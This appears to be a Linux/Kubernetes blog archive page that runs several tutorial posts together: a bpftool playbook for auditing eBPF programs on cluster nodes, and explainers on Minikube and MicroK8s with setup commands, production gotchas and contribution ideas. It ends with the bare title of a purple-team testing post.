  • k3s’s single-binary packaging and MicroK8s’s snap packaging solve the same problem differently — pick based on ecosystem fit and datastore preference, not raw capability
  • Minikube’s VM/container isolation is the right tool specifically when you need a real isolation boundary for local testing, not for general “I want Kubernetes on my laptop”
  • Default component choices differ meaningfully (Traefik vs nginx, bundled storage vs addon-based) — verify defaults before assuming any two of these behave the same out of the box
  • The most concrete, currently-unfilled contribution opportunity is configuration translation between the three — a documentation and tooling gap any experienced user could start closing

What’s Next

k3s was built by Rancher as the default cluster type for its own fleet-management platform. EP04 covers Rancher itself — what it actually does when you’re managing more than one cluster, and where its own control plane becomes another thing you have to operate.

Next: EP04 — Rancher: Multi-Cluster Kubernetes Management at Scale

Get EP04 in your inbox when it publishes → linuxcent.com/subscribe

The Audit Playbook — Four Commands to See Any Cluster

Reading Time: 8 minutes

eBPF: From Kernel to Cloud, Episode 14
What Is eBPF? · The BPF Verifier · eBPF vs Kernel Modules · eBPF Program Types · eBPF Maps · CO-RE and libbpf · XDP · TC eBPF · bpftrace · Network Flow Observability · DNS Observability · LSM and Tetragon · Process Lineage · The Audit Playbook


TL;DR

  • You can audit eBPF programs on any Kubernetes cluster with four bpftool commands, regardless of which vendor’s tool loaded them — prog show, map show, net show (plus cgroup tree), and prog dump xlated
    (bpftool = the kernel-shipped CLI for inspecting loaded eBPF programs and maps directly, independent of any userspace agent or vendor tooling)
  • bpftool prog show gives you the inventory: every loaded program, its type, and — via its pinned path — usually which tool owns it
  • bpftool map show gives you the state: what data each program is reading or writing, cross-referenced by the map_ids from the first command
  • bpftool net show and bpftool cgroup tree give you the attachment points: which interface, which qdisc, which cgroup hook — where enforcement actually happens
  • bpftool prog dump xlated gives you the behavior: what the program does at the instruction level, for the cases where the pinned path doesn’t tell you enough
  • This sequence works whether the cluster is running Cilium, Falco, Tetragon, a hand-rolled XDP filter, or something with no documentation at all — the kernel doesn’t care who loaded the program

You inherit a cluster with no runbook, no README, and no answer to “what’s making the policy decisions.” Something on these nodes is dropping packets, or blocking execs, or both — and you have about ten minutes before the incident call starts. kubectl get pods -A tells you nothing; whatever this is doesn’t run as a normal pod workload you can just describe.

Quick Check: Is Anything Actually Loaded on This Node?

# On any cluster node — count loaded eBPF programs
bpftool prog show | wc -l

# Expected output (a cluster running Cilium + Tetragon):
# 47
# Break it down by program type
bpftool prog show | grep -oE '^\S+:\s+\K\S+' 2>/dev/null || \
bpftool prog show -j | jq -r '.[].type' | sort | uniq -c

#   12 cgroup_skb      ← Cilium's per-cgroup socket filtering
#    8 sched_cls       ← TC programs (Cilium's netdev enforcement, from EP08)
#    6 kprobe          ← Tetragon's syscall hooks (from EP12)
#    4 tracepoint      ← process/exec tracing (from EP13)
#    2 xdp             ← XDP fast-path filtering (from EP07)

Not running Cilium or Tetragon? On EKS or GKE? The count won’t be zero even on a “vanilla” managed cluster — kube-proxy’s eBPF mode (if enabled), the CNI’s own eBPF datapath, and any sidecar-less service mesh all load programs. A count of zero on a production node is itself worth investigating; it usually means you’re looking at a node pool that hasn’t finished bootstrapping, or bpftool is running in a mount namespace that can’t see the host’s BPF filesystem.

Forty-seven loaded programs and no idea which ones matter. That’s the audit playbook’s job: turn “something is loaded” into “here is exactly what it is, what it holds, where it enforces, and what it does” — four commands, in order, no vendor documentation required.

Command 1: Inventory — What’s Loaded, and Who Owns It

bpftool prog show lists every eBPF program currently loaded into the kernel on that node, regardless of which process or tool loaded it. The kernel tracks programs independently of the userspace agent that created them — the program keeps running even if that agent’s pod is deleted.

bpftool prog show
6: cgroup_skb  tag 6deef7357e7b4530  gpl
    loaded_at 2026-06-02T03:14:22+0000  uid 0
    xlated 296B  jited 187B  memlock 4096B  map_ids 4,5
142: sched_cls  name cil_from_netdev  tag a04f5eef06a7f555  gpl
    loaded_at 2026-06-02T03:15:01+0000  uid 0
    xlated 12664B  jited 7532B  memlock 16384B  map_ids 9,10,11,14
    pinned /sys/fs/bpf/tc/globals/cil_from_netdev
201: kprobe  name generic_kprobe_e  tag 88df3d0a1c9e2b41  gpl
    loaded_at 2026-06-02T04:02:18+0000  uid 0
    xlated 3184B  jited 1980B  memlock 8192B  map_ids 22,23
    pinned /sys/fs/bpf/tetragon/generic_kprobe_e

Program tag — a SHA hash of the program’s instruction stream, computed by the kernel at load time. Two programs with the same tag are running byte-identical bytecode, even if they were loaded by different processes or have different names. It’s how you confirm two clusters are actually running the same version of a security tool without comparing source.

Pinned path — a program pinned to /sys/fs/bpf/... survives after the process that loaded it exits, because the reference is held by a file in the in-kernel BPF filesystem instead of by an open file descriptor in a running process. Most production tools pin their programs; ad hoc programs loaded by a one-off script usually don’t, and disappear the moment that script’s process exits.

The pinned field is doing most of the audit work here. /sys/fs/bpf/tc/globals/... is Cilium’s convention. /sys/fs/bpf/tetragon/... is Tetragon’s. Falco’s kernel-module and eBPF probe modes typically pin under /sys/fs/bpf/falco*. A program with no pinned line at all was loaded without a persistent reference — worth asking what process is holding its file descriptor open, because if that process dies, the program unloads.

For operators (not writing eBPF): if a security tool’s DaemonSet pod restarts and its programs don’t reappear in bpftool prog show after the container comes back up, that’s a real signal — the tool failed to re-pin or re-attach, and you’re running with a gap in coverage even though the pod shows Running. This is a more reliable health check than the pod’s own readiness probe, which usually only checks that the userspace agent process is alive.

Command 2: State — What Data These Programs Are Keeping

Every map_ids value in the prog show output points at a BPF map — the persistent, kernel-resident data structure the program reads or writes on every invocation (see eBPF Maps for how these work). bpftool map show inventories them the same way.

bpftool map show id 9
9: hash  name cilium_lb4_service  flags 0x0
    key 8B  value 24B  max_entries 65536  memlock 6291456B
bpftool map show id 22
22: lru_hash  name tg_execve_map  flags 0x0
    key 4B  value 128B  max_entries 32768  memlock 12582912B
    pinned /sys/fs/bpf/tetragon/tg_execve_map

Map ID 9 is a service load-balancer table — 65,536 entries, keyed by a service identifier. Map ID 22 is Tetragon’s exec cache (the same process-tracking structure covered in process lineage reconstruction), an LRU hash that evicts its oldest entries once 32,768 processes have been tracked.

The name field alone often tells you what the map is for — cilium_lb4_service, tg_execve_map — because most production tools name their maps descriptively rather than leaving them anonymous. When a map has no descriptive name, dump a few entries and read the shape of the data:

bpftool map dump id 9 | head -5
key: 0a 00 00 01 00 00 00 50  value: c0 a8 01 0a 00 00 00 50 00 00 00 01 ...

Raw bytes without a BTF type description are harder to read, but the sizes still tell you something: an 8-byte key and 24-byte value, repeated 65,536 times, is a fixed-size lookup table — consistent with a service or connection map, not a log or event buffer.

Command 3: Attachment — Where Enforcement Actually Happens

Inventory and state tell you what’s loaded and what it remembers. They don’t tell you where in the packet or syscall path the program actually runs. bpftool net show answers that for network-attached programs (XDP and TC, from EP07 and EP08); bpftool cgroup tree answers it for cgroup-attached programs (socket and syscall hooks).

bpftool net show
xdp:
eth0(2) driver id 88 tag 3b185187f1855c4c

tc:
eth0(2) clsact/ingress cil_from_netdev id 142
eth0(2) clsact/egress cil_to_netdev id 143
bpftool cgroup tree
CgroupPath
ID       AttachType      AttachFlags     Name
/sys/fs/cgroup
         6        cgroup_skb      multi
        18        cgroup_sock_addr multi           cil_sock4_connect

Program ID 142 — the same cil_from_netdev you saw in the prog show output — is attached to eth0‘s ingress clsact qdisc. That’s a direct answer to “is something making kernel-level policy decisions on this interface”: yes, at TC ingress, before the packet reaches any userspace process. Program ID 6 (cgroup_skb) is attached at the root cgroup with multi flags, meaning it stacks with other programs there rather than replacing them — the enforcement isn’t exclusive to one tool.

multi vs exclusive attach flags: cgroup and TC attachments can either replace whatever was attached before (exclusive) or stack alongside it (multi/BPF_F_ALLOW_MULTI). A cluster running more than one eBPF-based tool at the same hook point relies on multi attachment; if you see an exclusive attach where you expected two tools to coexist, one of them silently lost its hook.

Command 4: Behavior — What It Actually Does

The first three commands answer what’s loaded, what it remembers, and where it runs. They don’t answer what it does — and that matters when the pinned path is missing, unfamiliar, or you don’t trust it. bpftool prog dump xlated shows the program’s instructions after the verifier’s transformations, in a readable pseudo-assembly.

bpftool prog dump xlated id 142 | head -12
   0: (b7) r0 = 0
   1: (61) r2 = *(u32 *)(r1 +76)
   2: (61) r3 = *(u32 *)(r1 +80)
   3: (bf) r1 = r6
   4: (85) call bpf_skb_load_bytes#26
   5: (16) if w0 == 0x8 goto pc+3
   6: (05) goto pc+9
   7: (61) r1 = *(u32 *)(r6 +0)
   8: (55) r1 != 0x800 goto pc+7

You don’t need to hand-trace every instruction to get value out of this. Look for the helper calls — bpf_skb_load_bytes, bpf_map_lookup_elem, bpf_redirect, bpf_ktime_get_ns — because they name the kernel facilities the program actually touches. A program whose xlated dump is full of bpf_map_lookup_elem and comparison instructions against 0x800 (IPv4’s EtherType) is doing packet classification. One full of bpf_probe_read and bpf_get_current_task is reading process or memory state, not packets — a strong signal you’re looking at an observability or enforcement hook, not a network one, whatever its pinned path claims.

For operators (not writing eBPF): you will not read xlated dumps line by line during an incident. What you’re checking for is much narrower — does the helper call list match what the tool’s marketing says it does? A program that claims to be “read-only observability” but calls bpf_skb_store_bytes (which writes packet data) is not read-only. That mismatch is worth escalating before you trust the tool’s own dashboard.


⚠ Production Gotchas

bpftool needs CAP_BPF or root, and managed nodes don’t hand that out by default. On EKS and GKE, you typically can’t SSH to a node directly. Use kubectl debug node/<node-name> --image=<image-with-bpftool> -it -- chroot /host to get a privileged shell with host PID and network namespace access, or the cloud provider’s session-manager equivalent (AWS SSM, gcloud compute ssh). Confirm the debug image actually ships bpftool — it’s not in most minimal base images.

Program IDs are node-local and not stable across restarts. ID 142 today may be ID 89 after the node reboots and the DaemonSet reloads its programs. Don’t hardcode IDs in runbooks; always start from bpftool prog show on the specific node and re-derive the ID for that session.

xlated and jited dumps require the kernel to have kept the debug info. Some hardened kernel configs strip CONFIG_BPF_JIT_ALWAYS_ON debug metadata or disable kernel.bpf_stats_enabled, in which case prog dump returns less than shown here. If dumps come back empty, check sysctl kernel.bpf_stats_enabled before assuming the program itself is hiding something.

bpftool cgroup tree only shows attachments below the cgroup you run it from. On a Kubernetes node, run it from the root of the host’s cgroup filesystem (typically after the chroot /host from the debug pod above), not from inside a container’s own cgroup namespace, or you’ll only see a fraction of the attachments.

Pinned paths are a convention, not a guarantee. Nothing stops a tool from pinning under an unexpected path, or not pinning at all. Treat the pinned-path-to-vendor mapping as a strong hint that narrows your investigation, not as ground truth — confirm ownership with the tag (command 1) against the vendor’s published program hashes when it matters for an incident, not just a routine audit.


Quick Reference

What you want to know Command
What’s loaded bpftool prog show
Program count by type bpftool prog show -j \| jq -r '.[].type' \| sort \| uniq -c
What state a program keeps bpftool map show id <N> (from map_ids in prog show)
Sample map contents bpftool map dump id <N> \| head
Where it’s attached (network) bpftool net show
Where it’s attached (cgroup) bpftool cgroup tree
What it actually does bpftool prog dump xlated id <N>
Confirm identical bytecode across nodes Compare tag values from prog show
Privileged shell on a managed node kubectl debug node/<name> --image=<img> -it -- chroot /host

Key Takeaways

  • Four bpftool commands audit any eBPF-based tool on any Kubernetes cluster, regardless of vendor: prog show (inventory), map show (state), net show/cgroup tree (attachment), prog dump xlated (behavior)
  • The kernel tracks loaded programs independently of the userspace agent that loaded them — a program’s pinned path under /sys/fs/bpf/... usually identifies its owning tool by convention, but that convention is not enforced by the kernel
  • A program’s tag is a hash of its bytecode; matching tags across nodes confirm identical program versions without comparing source or vendor documentation
  • map_ids in prog show output link directly to bpftool map show, letting you trace from “a program is loaded” to “here’s exactly what data it reads and writes”
  • bpftool net show and cgroup tree answer where enforcement happens in the packet or syscall path — the same question the opening incident needed answered in ten minutes
  • When the pinned path and tag aren’t enough, bpftool prog dump xlated shows the actual kernel helper calls the program makes, which is the only way to confirm behavior when there’s no documentation to trust

What’s Next

EP14 is the audit playbook — the four commands you run in the first ten minutes on any cluster you’ve inherited, before you trust anything its existing tools tell you about themselves. EP15 goes deeper on one specific case where this matters most: Cilium’s own policy engine telling you traffic is allowed while packets keep dropping. bpftool map dump on the right map — not cilium policy get — is what shows you what’s actually being enforced.

Next: Cilium policy verification — what bpftool shows that cilium policy get doesn’t

Get EP15 in your inbox when it publishes → linuxcent.com/subscribe

Minikube: Local Kubernetes Done Right — and Where It Breaks Down

Reading Time: 6 minutes

Kubernetes Ecosystem: From User to Contributor, Episode 2
← EP01: MicroK8s Explained · EP02: Minikube · EP03: k3s vs MicroK8s vs Minikube →

11 min read


TL;DR

  • What is Minikube? A tool that runs a single-node Kubernetes cluster inside a VM or a container on your local machine — the oldest and most widely adopted “local Kubernetes” tool in the ecosystem
  • Unlike MicroK8s’s bare-metal snap install, Minikube’s default drivers isolate the cluster inside a VM (VirtualBox, HyperKit, Hyper-V, KVM2) or a Docker container — a deliberate isolation trade-off, not an accident
  • minikube addons, minikube profile, and multi-node support let you run several named clusters side by side, each with its own driver and Kubernetes version
  • LoadBalancer services don’t resolve to anything real on their own — minikube tunnel or minikube service are required, and this trips up almost everyone the first time
  • The VM overhead that makes Minikube heavier than MicroK8s is also what makes it a more faithful stand-in for a real cloud node, particularly for testing kernel-adjacent behavior
  • Contribution opportunity: feature parity across Minikube’s own driver list is uneven, and closing specific gaps there is a well-scoped, achievable contribution

The Big Picture

MICROK8S: BARE-METAL SNAP                   MINIKUBE: ISOLATED VM/CONTAINER
──────────────────────────                   ──────────────────────────────
Host OS
  └── microk8s snap                         Host OS
        ├── kubelet                           └── Driver (VirtualBox / KVM2 /
        ├── kube-apiserver                        HyperKit / Docker / Podman)
        ├── containerd                              └── VM or container
        └── Dqlite                                        ├── kubelet
                                                            ├── kube-apiserver
No VM boundary — cluster                                   ├── etcd
runs directly on the host                                  └── containerd
kernel and network stack
                                              Full isolation boundary between
                                              cluster and host — closer to how
                                              a real cloud node actually looks

What is Minikube? It’s the tool that popularized “just run a Kubernetes cluster on your laptop” — a single command that provisions a VM or container, installs a full Kubernetes control plane and node inside it, and hands you a working kubectl context. The isolation boundary that VM makes MicroK8s’s bare-metal install avoid is the entire point: Minikube trades startup speed and resource overhead for a cluster that behaves more like a real, separate node — the same control-plane/node split covered in detail in this site’s Kubernetes history series, just shrunk down to fit on a laptop.


The Driver Model: How Minikube Actually Runs Your Cluster

Minikube doesn’t run Kubernetes directly on your host. It provisions a driver-specific environment first, then runs Kubernetes inside that:

$ minikube start --driver=docker
😄  minikube v1.32.0 on Darwin 14.2
✨  Using the docker driver based on user configuration
👍  Starting control plane node minikube in cluster minikube
🚜  Pulling base image ...
🔥  Creating docker container (CPUs=2, Memory=4000MB) ...
🐳  Preparing Kubernetes v1.28.3 on Docker 24.0.7 ...
🔎  Verifying Kubernetes components...
🌟  Enabled addons: default-storageclass, storage-provisioner
🏄  Done! kubectl is now configured to use "minikube" cluster

$ minikube status
minikube
type: Control Plane
host: Running
kubelet: Running
apiserver: Running
kubeconfig: Configured

The --driver flag is the real decision point. docker/podman drivers run the cluster as a container, which is fast to start but shares the host kernel — you don’t get true kernel-level isolation. virtualbox/hyperkit/kvm2/hyperv drivers run a full VM, which is slower to start (30–90 seconds, versus 10–20 for the container driver) but gives the cluster its own kernel, its own network namespace, and behavior much closer to an actual cloud instance.


Addons and Profiles: Minikube’s Answer to Multi-Environment Testing

$ minikube addons list
|-----------------------------|----------|--------------|
| ADDON NAME                  | PROFILE  | STATUS       |
|-----------------------------|----------|--------------|
| ingress                     | minikube | disabled     |
| metrics-server              | minikube | disabled     |
| dashboard                   | minikube | disabled     |
| registry                    | minikube | disabled     |

$ minikube addons enable ingress
🔎  Verifying ingress addon...
🌟  The 'ingress' addon is enabled

# Run a second, independent cluster on a different Kubernetes version
$ minikube start -p old-version --kubernetes-version=v1.26.0
$ minikube profile list
|----------|-----------|---------|--------------|------|
| Profile  | VM Driver | Runtime | IP           | Ver  |
|----------|-----------|---------|--------------|------|
| minikube | docker    | docker  | 192.168.49.2 | v1.28.3 |
| old-version | docker | docker  | 192.168.58.2 | v1.26.0 |

Profiles are Minikube’s way of running multiple, fully independent clusters side by side — useful for testing an upgrade path or comparing behavior across Kubernetes versions without tearing anything down. MicroK8s has no equivalent to this; it’s a genuine Minikube differentiator, not just a different flavor of the same feature.


Where the VM Overhead Actually Shows Up

The isolation Minikube provides isn’t free, and it shows up in three concrete places: startup time (a VM driver cold-start is measured in tens of seconds, not the few seconds a bare-metal snap install takes), memory floor (a VM needs to reserve memory for its own kernel and init system before Kubernetes gets any of it), and CI runners specifically — many hosted CI environments (GitHub Actions’ standard runners, for example) don’t support nested virtualization, which rules out VM drivers entirely and forces the docker driver, quietly giving up the isolation benefit that was the reason to pick Minikube over MicroK8s in the first place.


Networking Quirks: LoadBalancer Services and minikube tunnel

This is the single most common point of confusion for anyone coming from a real cloud cluster:

$ kubectl expose deployment web --type=LoadBalancer --port=80
service/web exposed

$ kubectl get svc web
NAME   TYPE           CLUSTER-IP     EXTERNAL-IP   PORT(S)
web    LoadBalancer   10.96.34.201   <pending>     80:31234/TCP
#                                    ^^^^^^^^^ stays pending forever —
#                                    there's no cloud load balancer to provision one

Minikube has no cloud provider to actually satisfy a LoadBalancer request. Two ways to actually reach the service:

# Option 1: minikube tunnel — creates a real route to LoadBalancer services,
# must stay running in a foreground terminal the whole time
$ minikube tunnel
✅  Tunnel successfully started

# Option 2: minikube service — opens the service in a browser via NodePort,
# no LoadBalancer semantics, but doesn't require a background process
$ minikube service web --url
http://192.168.49.2:31234

minikube tunnel is the closer match to real LoadBalancer behavior, but it’s a foreground process that silently stops working if the terminal closes or the machine sleeps — a frequent source of “it worked five minutes ago” confusion.


⚠ Production Gotchas

Nested virtualization isn’t available everywhere. Many hosted CI runners and some cloud dev environments don’t expose the CPU virtualization extensions Minikube’s VM drivers need — you’ll get a driver failure that looks like a Minikube bug but is actually a host capability gap. Falling back to --driver=docker works, but changes the isolation guarantees you were relying on.

The docker driver shares your host’s Docker daemon resource limits. If your host Docker Desktop is capped at 4GB, that’s a hard ceiling for everything running inside the Minikube container too — VM drivers get their own explicit memory allocation instead.

minikube tunnel dying silently is the most common “why can’t I reach my LoadBalancer” support question. It doesn’t reliably surface a clear error when it stops — check minikube tunnel‘s own terminal output before assuming the Kubernetes side is broken.

Addon behavior differs meaningfully by driver. The ingress addon’s interaction with host networking is different between a VM driver (which gets its own IP on a virtual network) and the docker driver (which shares the host’s Docker network) — a setup that works on one driver doesn’t automatically work identically on another.


Quick Reference

minikube start --driver=<docker|virtualbox|hyperkit|kvm2|hyperv>
minikube status                    # cluster health
minikube addons list                # available and enabled add-ons
minikube addons enable <name>       # enable one
minikube profile list               # all named clusters
minikube start -p <name>            # start/create a named profile
minikube tunnel                     # real LoadBalancer routing (foreground)
minikube service <name> --url       # NodePort-based access, no LB semantics
minikube delete -p <name>           # tear down a specific profile
minikube ssh                        # shell into the cluster's VM/container

Contribution Opportunity: Closing Minikube’s Driver Feature-Parity Gaps

The limitation: Minikube supports over a dozen drivers (docker, podman, virtualbox, hyperkit, kvm2, hyperv, vfkit, qemu, and more), and features don’t land on all of them at the same time or with the same fidelity. GPU passthrough, specific CNI plugin support, and certain addon behaviors work reliably on some drivers and only partially — or not at all — on others. A user picking a driver based on their OS often has no easy way to know upfront which features they’re implicitly giving up.

Why it’s hard to fix: Each driver wraps a fundamentally different underlying technology (a type-2 hypervisor, a container runtime, a different hypervisor API per OS), so a feature that’s straightforward on one driver can require an entirely separate implementation path on another — this isn’t a matter of one team finishing a checklist, it’s N different integration surfaces that each need their own maintainer attention, and Minikube’s driver maintainers are a much smaller, more fragmented group than the core Kubernetes maintainers.

What a contribution-shaped fix looks like: The achievable starting point isn’t “add GPU support to every driver” — it’s picking one specific, well-documented gap (say, a particular addon’s known behavior difference on hyperv versus kvm2), reproducing it precisely, and either fixing the driver-specific code path in kubernetes/minikube or, just as valuably, contributing a clear compatibility matrix to the project’s docs so the next person doesn’t discover the gap by trial and error. Minikube’s own GitHub issues are full of exactly these driver-specific reports sitting unresolved for lack of someone who reproduces and narrows them down.


Key Takeaways

  • Minikube isolates the cluster inside a VM or container, trading startup speed and resource overhead for isolation closer to a real cloud node
  • Profiles let you run multiple independent, differently-versioned clusters side by side — a genuine capability MicroK8s doesn’t have
  • LoadBalancer services need minikube tunnel or minikube service — there’s no cloud provider underneath to satisfy the request automatically
  • Driver choice has real consequences: VM drivers need nested virtualization support that not every host or CI runner provides, and feature parity across drivers is uneven
  • The clearest contribution opportunity is narrowing and documenting (or fixing) specific driver feature-parity gaps — achievable without deep hypervisor expertise

What’s Next

EP01 and EP02 covered MicroK8s and Minikube individually. EP03 puts them head-to-head against k3s — the third major lightweight Kubernetes option — on the criteria that actually matter when picking one: resource footprint, HA story, and how much you’re willing to trade control for convenience.

Next: EP03 — k3s vs MicroK8s vs Minikube: Which Lightweight Kubernetes Fits Your Use Case

Get EP03 in your inbox when it publishes → linuxcent.com/subscribe

MicroK8s Explained: The Single-Binary Kubernetes for Edge and IoT

Reading Time: 6 minutes

Kubernetes Ecosystem: From User to Contributor, Episode 1
← Kubernetes: From Borg to Platform Engineering · EP01: MicroK8s Explained · All Kubernetes Ecosystem Episodes →

11 min read


TL;DR

  • What is MicroK8s? A full, CNCF-conformant Kubernetes cluster packaged into a single snap package — install and have a running cluster in under 60 seconds, no separate container runtime or CNI install required
  • Built by Canonical for edge, IoT, and ephemeral CI clusters, where minimal footprint and single-command lifecycle matter more than fine-grained tuning
  • Add-ons (dns, storage, ingress, metallb, cilium, gpu) replace what you’d otherwise hand-install and wire together yourself
  • High-availability mode uses Dqlite (a distributed, Raft-backed SQLite) instead of etcd — a deliberate design choice with a real operational trade-off
  • The same “just works” install model that makes MicroK8s fast to stand up also hides some of the control-plane tuning knobs production operators expect from etcd
  • Contribution opportunity: Dqlite’s operational tooling is years behind etcd’s — a real, specific, achievable gap, covered in depth below

The Big Picture

TRADITIONAL KUBERNETES INSTALL              MICROK8S INSTALL
─────────────────────────────               ──────────────────
Install a container runtime                 $ sudo snap install microk8s --classic
Install kubelet, kubeadm, kubectl            $ microk8s status --wait-ready
Stand up and configure etcd
kubeadm init, join workers                          │
Install a CNI plugin                                ▼
Install an ingress controller                One snap install =
Install a storage provisioner                kubelet + kube-apiserver + kube-scheduler
Wire it all together, hope                   + kube-controller-manager + containerd
the versions are compatible                  + Dqlite + CNI (via add-on)
                                              — one running cluster, one command

What is MicroK8s? It’s Canonical’s single-binary distribution that packages an entire Kubernetes control plane and node into one snap package, so snap install microk8s produces a running, CNCF-conformant cluster without a separate container runtime, etcd install, or CNI setup step. The trade for that speed is control: the same bundling that removes a dozen manual steps also removes a dozen places you’d normally tune something.


How MicroK8s Fits an Entire Cluster Into One Snap

A snap package is a self-contained, confined Linux application bundle — MicroK8s ships its own containerd, its own CNI defaults, and its own datastore inside that bundle, rather than expecting the host to provide them.

$ sudo snap install microk8s --classic
microk8s (1.29/stable) v1.29.1 from Canonical✓ installed

$ microk8s status --wait-ready
microk8s is running
high-availability: no
  datastore master nodes: 127.0.0.1:19001
  datastore standby nodes: none
addons:
  enabled:
    ha-cluster            # always on — this is the Dqlite HA layer, even for a single node
  disabled:
    dns                   # ← you enable what you need, nothing runs by default beyond core
    ingress
    storage
    ...

--classic confinement is required because MicroK8s needs broader host access than a strictly-confined snap allows — it manages network interfaces, iptables/nftables rules, and mounts. This is the first place production operators coming from a bare-metal kubeadm install get surprised: MicroK8s’s snap confinement model means some host interactions happen through paths a traditional install never touches, and debugging network issues sometimes means understanding snap’s confinement boundaries, not just Kubernetes networking.


The Add-on Model: How MicroK8s Replaces a Day of Cluster Bootstrapping

Everything beyond the bare control plane is an add-on, enabled with one command:

$ microk8s enable dns storage ingress
Infer repository core for addon dns
Enabling DNS
...
DNS is enabled
Infer repository core for addon storage
Enabling default storage class
...
Storage is enabled
Infer repository core for addon ingress
Ingress controller is enabled

$ microk8s kubectl get pods -A
NAMESPACE     NAME                                      READY   STATUS    RESTARTS
kube-system   coredns-864597b5fd-x7k2p                  1/1     Running   0
kube-system   hostpath-provisioner-5c65c9c74f-j9qmz      1/1     Running   0
ingress       nginx-ingress-microk8s-controller-abcde    1/1     Running   0

Each add-on is a maintained, version-pinned bundle — enabling ingress doesn’t pull the latest ingress-nginx release, it pulls whatever version that MicroK8s release channel has validated. That’s the same trade seen everywhere else in this tool: predictability and speed, at the cost of being slightly behind upstream and unable to mix-and-match component versions the way a hand-built cluster can.

The cilium add-on is worth calling out specifically for platform teams already standardizing on eBPF-based networking elsewhere — it replaces MicroK8s’s default CNI with Cilium, giving you the same eBPF-enforced network policy model covered in the TC eBPF episode of the eBPF series, without a separate Cilium install process.


Dqlite Instead of etcd: MicroK8s’s Most Debated Design Choice

For high availability, upstream Kubernetes distributions almost universally reach for etcd — a mature, Raft-based key-value store with over a decade of production hardening. MicroK8s uses Dqlite instead: a distributed SQLite built by Canonical, also Raft-based, but SQL-native rather than a plain key-value store.

# Convert a single node into a 3-node HA cluster
$ microk8s add-node
From the target node, run:
microk8s join 10.0.1.15:25000/abc123... --worker

$ microk8s status
microk8s is running
high-availability: yes
  datastore master nodes: 10.0.1.10:19001 10.0.1.12:19001 10.0.1.15:19001
  datastore standby nodes: none

The reasoning behind Dqlite is architectural: Canonical wanted a datastore that could also serve their other projects (LXD, for instance) with a SQL interface, not just Kubernetes’ key-value needs, and one they could tightly control the release cadence of rather than depending on the etcd project’s own timeline. That’s a legitimate engineering decision — but it means MicroK8s’s HA story runs on a datastore with a small fraction of etcd’s operational track record.


Where MicroK8s Actually Runs in Production

MicroK8s’s real fit is narrower than “any Kubernetes workload”: edge and IoT deployments where a device needs a full, conformant cluster with no external dependencies (a factory sensor gateway, a retail point-of-sale cluster); CI/CD pipelines that need a disposable, fast-booting cluster per test run; and single-node developer or demo environments where Minikube’s VM overhead isn’t wanted.

It’s a weaker fit for large multi-tenant production clusters where teams already have deep etcd operational expertise, need fine-grained control-plane component versioning, or run at a scale where Dqlite’s newer, less-battle-tested Raft implementation is a harder sell to a risk-averse platform team.


⚠ Production Gotchas

Dqlite HA needs an odd number of nodes, same as etcd — but the community knowledge base is much thinner. A 2-node or 4-node Dqlite cluster has the identical split-brain risk etcd has at even node counts. The difference is that when something goes wrong, etcd has ten years of Stack Overflow answers and postmortems; Dqlite has a fraction of that.

microk8s kubectl and a separately-installed kubectl are not automatically the same context. Running both on one host is a common source of “why isn’t my change showing up” confusion — always check which kubeconfig each one is actually pointed at.

Add-on versions lag upstream by design. If a CVE fix or a new feature lands in upstream ingress-nginx or Cilium, MicroK8s’s bundled add-on version won’t have it until the next MicroK8s release validates it. Don’t assume microk8s enable X gets you the latest X.

Classic confinement means MicroK8s can conflict with other host-level network tooling. Firewalls, VPN clients, or other snap-confined networking tools on the same host can produce iptables/nftables rule conflicts that look like a Kubernetes networking bug but are actually a confinement-boundary interaction.


Quick Reference

microk8s status --wait-ready       # cluster health, HA state, enabled add-ons
microk8s enable <addon>            # dns, storage, ingress, metallb, cilium, gpu, ...
microk8s disable <addon>           # remove an add-on
microk8s kubectl <args>            # bundled kubectl, uses MicroK8s's own kubeconfig
microk8s add-node                  # generate a join token for HA/worker expansion
microk8s join <token>               # join a node using that token
microk8s inspect                   # generate a full diagnostic tarball for support/debugging
microk8s remove-node <node>         # remove a node from an HA cluster

Contribution Opportunity: Dqlite’s Missing Decade of Tooling

The limitation: etcd operators have etcdctl endpoint status, etcdctl endpoint health, mature snapshot/restore tooling, and a decade of documented failure-mode runbooks. Dqlite’s CLI surface for diagnosing a struggling Raft cluster — checking leader state, log index lag between nodes, or safely restoring from a snapshot after a prolonged partition — is meaningfully thinner. When a MicroK8s HA node fails to rejoin cleanly, there’s far less prior art to lean on than for the etcd equivalent.

Why it’s hard to fix: This isn’t a bug sitting in an issue tracker waiting for a quick patch. It’s a maturity gap that comes from Dqlite being a newer, narrower-scope project (built primarily to serve Canonical’s own products) maintained by a much smaller team than the decade of enterprise-scale usage that produced etcd’s tooling. Closing that gap is a sustained, multi-quarter documentation-and-tooling effort, not a single PR — and it competes for the Dqlite maintainers’ time against Canonical’s own product roadmap, which doesn’t automatically prioritize the broader Kubernetes community’s operational wishlist.

What a contribution-shaped fix looks like: Two concrete, achievable starting points that don’t require deep Raft-internals expertise: (1) a dqlite-side diagnostic command mirroring etcdctl endpoint status — human-readable leader/term/log-index output — contributed to canonical/go-dqlite; or (2) reproducing and documenting specific HA failure scenarios (node rejoin after a prolonged network partition, recovery from a minority-node failure) as runbooks in canonical/microk8s‘s own documentation repo, with the exact recovery commands verified against a real reproduction. The second option in particular is the kind of contribution an engineer who’s actually operated MicroK8s in production is uniquely positioned to make — it needs careful reproduction and clear writing, not kernel-level systems expertise.


Key Takeaways

  • MicroK8s packages a full, CNCF-conformant Kubernetes cluster into a single snap install — no separate runtime, etcd, or CNI setup required
  • The add-on model trades version flexibility for predictability: what you enable is validated and bundled, not necessarily the latest upstream release
  • Dqlite replaces etcd for HA — a legitimate architectural choice, but one with far less operational tooling and community track record behind it
  • MicroK8s’s real fit is edge/IoT, ephemeral CI clusters, and single-node dev environments — not large multi-tenant production clusters with deep etcd expertise already in place
  • The clearest contribution opportunity here doesn’t require Raft internals — it requires operating MicroK8s in production long enough to hit a real failure mode and documenting it precisely

What’s Next

MicroK8s trades control for a near-instant single-command cluster. EP02 looks at Minikube — the other dominant “local Kubernetes” tool, built on a different trade-off entirely: a full VM (or container-based driver) per cluster instead of a bare-metal snap install, and where that heavier model actually earns its overhead.

Next: EP02 — Minikube: Local Kubernetes Done Right — and Where It Breaks Down

Get EP02 in your inbox when it publishes → linuxcent.com/subscribe

Continuous Purple Team Testing: Attack Simulations for Your Own Infrastructure

Reading Time: 15 minutes

